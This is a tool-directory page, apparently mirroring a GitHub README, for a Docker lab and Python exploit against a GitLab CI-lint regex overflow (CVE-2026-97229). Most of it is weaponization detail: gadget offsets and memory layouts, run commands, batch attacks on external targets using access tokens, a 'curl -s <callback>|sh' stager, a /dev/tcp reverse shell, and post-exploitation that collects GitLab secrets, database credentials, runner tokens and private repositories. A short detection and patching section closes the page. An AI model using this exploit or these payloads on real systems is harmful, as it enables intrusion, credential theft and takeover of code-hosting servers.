Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2026-97229-lab — CVE-2026-97229(GitLab CI-lint の Onigmo 正規表現整数オーバーフローにより RCE に至る未認証の脆弱性)に関する Docker ラボと Python エクスプロイト。プロービング、レイアウト導出、ポストエクスプロイテーションを含む。 | Kitploit
ツール/GitHubGitHub/emc-kk/cve-2026-97229-lab
脆弱性分析エクスプロイトウェブアプリケーション悪用ポストエクスプロイト暗号化ペネトレーションテストリモートアクセスツールペイロード開発ラボと実践
GitHubemc-kk/cve-2026-97229-lab

cve-2026-97229-lab

CVE-2026-97229(GitLab CI-lint の Onigmo 正規表現整数オーバーフローにより RCE に至る未認証の脆弱性)に関する Docker ラボと Python エクスプロイト。プロービング、レイアウト導出、ポストエクスプロイテーションを含む。

12日前未レビュー
リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-97229 GitLab CI lint regex integer overflow RCE

CVE-2026-97229 — GitLab CI lint regex OOB write → RCE

許可されたテストのみ。 これは、あなたが所有している、または明示的にテストを許可されているシステムに対してのみ使用してください (バグバウンティのスコープ、クライアントエンゲージメント、自身のラボ)。不正な使用は違法です。

English | 中文

Onigmo マッチャーを破壊し、実行を libruby.so 内の system() ガジェットへリダイレクトする、認証不要の CI-lint リクエスト:

GET /api/v4/projects/:id/ci/lint?content_ref=<nonce>
  → include.rules.exists.regexp compiles a crafted pattern
  → a 57k-repeat drives the matcher into a ~2 GiB expansion
  → the write lands past the allocation and redirects the VM frame
  → mov r14,rdi; call system@plt runs a 28-byte stager
  → curl -s <callback>|sh  →  uid=998(git)

最終リクエストは未認証で実行できますが、悪意のある CI 設定を仕込むには公開プロジェクトへの書き込み権限(または自己登録と公開プロジェクトを許可するインスタンス)が必要です。


概要

項目値
影響あり(検証済み)19.2.0–19.2.7、19.3.0–19.3.3、19.4.0–19.4.1
悪用不可19.2.8、19.3.4(例外、下記参照)、19.3.5、19.4.2。19.2.3 には CE イメージなし
トリガー未認証の GET /api/v4/projects/:id/ci/lint
前提条件到達可能性 + 公開プロジェクトへの書き込み権限(トークン、侵害されたアカウント、またはオープンなサインアップ)
影響GitLab コンテナ内で git(uid 998)としてコマンド実行
PoC の制約x86_64 ビルド。レイアウトはバージョン文字列ではなく libruby.so のビルドごとに異なる
アドバイザリの境界19.2.x < 19.2.8、19.3.x < 19.3.5、19.4.x < 19.4.2

19.3.4 はアドバイザリで影響ありと記載されていますが、同梱の libruby.so は脆弱な 展開パスに到達しません — 悪用可能にすることはできませんでした(repro/evidence/2026-10-18-full-matrix/)。


クイックスタート(ラボ)

./lab/run.sh 19.4.1                                    # local Docker; first boot 5–15 min
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1

Expected last line:

{"status":"RCE","version":"19.4.1","lint":"http(502)","project":"root/e12ab34",
 "output":"uid=998(git) gid=998(git) groups=998(git)\n..."}

クラウドアカウントもSSHも不要です。ラボはプレーンなDocker(ローカルデーモン、DOCKER_HOST、またはdockerコンテキスト)で動作します。 Docker Desktopでは --callback-host host.docker.internal を追加してください。


仕組み

  1. オペレーターは公開プロジェクトを作成し、細工された include.rules.exists.regexp と110バイトのリポジトリパスを含むブランチをプッシュします。
  2. 認証なしのlintリクエストがそのパターンをコンパイルします。57 805回の繰り返しは {5(?#)7805} として記述されるため、Rails側の繰り返しガード(REPEAT_MAX=1000)には検出されません。
  3. 脆弱なビルドでは、マッチャーが展開を実体化し(約2 GiB)、サイズ計算がラップアラウンドして 書き込みが隣接メモリを破壊します。
  4. 細工されたパスが call 命令と system@plt のオフセットを供給し、VMをリダイレクトします。
  5. ステージャーは curl -s <callback>|sh で、git サービスユーザーとしてシェルを取得します。

パート1 — 再現(ラボ)

1.1 ターゲットの起動

./lab/run.sh 19.4.1            # http://127.0.0.1:8080, container gl-19-4-1
./lab/run.sh 19.3.3 8081       # second version on another port

ランチャーはエクスプロイトに必要なメモリ設定(sidekiq off、Pumaワーカー1つ、小さなPostgresバッファ、--memory 6.5g --shm-size 256m)を適用し、UIを待機してrootパスワードを設定します。 lab/README.md / lab/README_CN.mdを参照してください。

1.2 プローブ

python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
フィールド意味
httpGET /users/sign_in のステータス
versionコンテナから読み取った GitLab のバージョン(コンテナアクセスがない場合は null)
classアドバイザリの分類: affected / patched / not-listed / unknown
libruby_md5対象コンテナの libruby.so のビルド識別子
layoutfinish / gadget / step(ビルドが既知または導出可能な場合のみ)
exploitableレイアウトが利用可能かどうか。class=affected はこれを意味しない
layout_sourcetable、derived、または no-overflow-in-build

class: "unknown" は、コンテナ/バージョン情報が利用できなかったことを単に意味します — URL のみの対象では、ツールはレイアウトを分類または導出できません。以下の「外部ターゲット」を参照してください。

1.3 Exploit

python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 \
  --command 'id; hostname; uname -a'

成功基準: lint が dropped(HTTPError) または http(502) であり、かつ output が uid=998(git) で始まること。valid:true を伴う 200 は、そのビルドが脆弱でないことを意味する。

1.4 バージョンマトリクス

ライン悪用可能パッチ適用済み / 悪用不可
19.2.x19.2.0, 19.2.1, 19.2.2, 19.2.4–19.2.719.2.8; 19.2.3 には CE イメージがない
19.3.x19.3.0–19.3.319.3.4 (マッチャーが展開されない), 19.3.5
19.4.x19.4.0, 19.4.119.4.2

ビルドごとの証拠: repro/evidence/2026-10-18-full-matrix/ (中文)。


Part 2 — Weaponize (authorized targets)

2.1 Target formats

# plain URL list (.txt)
https://gitlab-a.example
http://gitlab-b.example:8080

# structured (.txt or .csv): name,url,container[,layout]
gl-1941,http://127.0.0.1:8080,gl-19-4-1

# CSV with header
name,url,container,layout
gl-1941,http://127.0.0.1:8080,gl-19-4-1,

container は現在のエクスプロイトパス(libruby/layout + rails runner)に必須です。layout は、ツールが読み取れないビルド向けの任意のオーバーライドです。

2.2 バッチパイプライン

python3 exploit/cve97229.py --targets targets.txt --json-out run.json

各ターゲットに対して、順番に: probe → exploit → RCE の場合は post-exploitation (exploit/post/collect.sh; --post-command-file で上書き、--no-post で無効化)。 --probe-only はフィンガープリンティング後に停止します。いずれかのターゲットで RCE が成立した場合、終了コードは 0 です。

2.3 レイアウト解決

ペイロードにはビルドごとの 3 つの定数 (finish、system@plt ガジェット、UTF-8 ステップ) が必要です。解決順序:

  1. 明示的な layout (0x… 0x… 12345);
  2. 検証済みの md5 テーブル (10 バージョンをカバー);
  3. コンテナの libruby.so から exploit/layout.py を介してオンザフライで導出。

既知の脆弱なビルドはすべて 2 つ のレイアウトのみを使用します: 0x486DA9/0x31EE29/1249885 と 0x4885A9/0x31E809/1256138。

2.4 外部ターゲット (Docker なし)

--mode external は HTTP と PAT (api スコープ) のみを必要とします: API 経由で公開プロジェクトを作成し、 oauth2:<token> でプッシュし、認証不要の lint を発火させ、その後プロジェクトを削除します。

python3 exploit/cve97229.py --mode external --targets scope.csv \
  --token glpat-... --scope scope.txt --authorized \
  --callback-host 203.0.113.10 --callback-port 80
  • layout: 認証済みの GET /api/v4/version → version/md5 テーブル。未知のバージョンの場合は両方の候補レイアウト(--force-unknown-version はバージョンチェックをスキップ);
  • credential: 公開プロジェクトを作成できる api スコープを持つ PAT。これがない場合、ツールは no-write-path を報告し、何も送信しない;
  • callback: ターゲットから到達可能で、最大 16 バイト(cb.example:80)。これより長いアドレスはリクエスト前に拒否される;
  • safety: 悪用には --scope と --authorized が必須。--dry-run はフィンガープリントのみ;
  • cleanup: プロジェクトはスケジュールされた後に完全に削除される(GET /api/v4/projects/:id で確認);
  • Windows: 細工されたパスはディスクに一切触れない — git インデックスを介してステージングされる。

Part 3 — ポストエクスプロイテーション

エクスプロイトは**コンテナ内の git(uid 998)**として着地する — GitLab 全体の侵害にはこれで十分である。 プレイブック: exploit/post/README.md / 中文。

# one-shot triage: identity, secrets, DB, repos, sudo, docker.sock
python3 exploit/cve97229.py --url ... --container ... --command-file exploit/post/collect.sh
対象値
/etc/gitlab/gitlab-secrets.jsondb_key_base、otp_key_base、runner/JWT キー。CI 変数とトークンを復号する
database.yml + gitlab-rails runner直接 DB、PAT、管理者ユーザー、CI 変数
/var/opt/gitlab/git-data/repositoriesプライベートなものを含むすべてのリポジトリ
Ci::Runner.pluck(:token)不正な runner を登録する
gitlab.rbSMTP/LDAP、オブジェクトストレージ、レジストリキー

対話型シェル: リスナーとともに --command 'bash -i >& /dev/tcp/<host>/4444 0>&1'。


検出と緩和

19.2.8+、19.3.5+、19.4.2+ にアップグレードしてください。

3つのシグナル:

  1. workhorse: GET /api/v4/projects/*/ci/lint で badgateway: failed to receive response: EOF;
  2. Puma: ワーカーの再起動と regexp_matcher.rb:58: [BUG] Segmentation fault;
  3. Git 履歴: ( ?# ) の分割量指定子、繰り返される [[:word:]]、または \U00010400 を含む 110 バイトの UTF-8 パス。

リポジトリ構成

ツールをダウンロード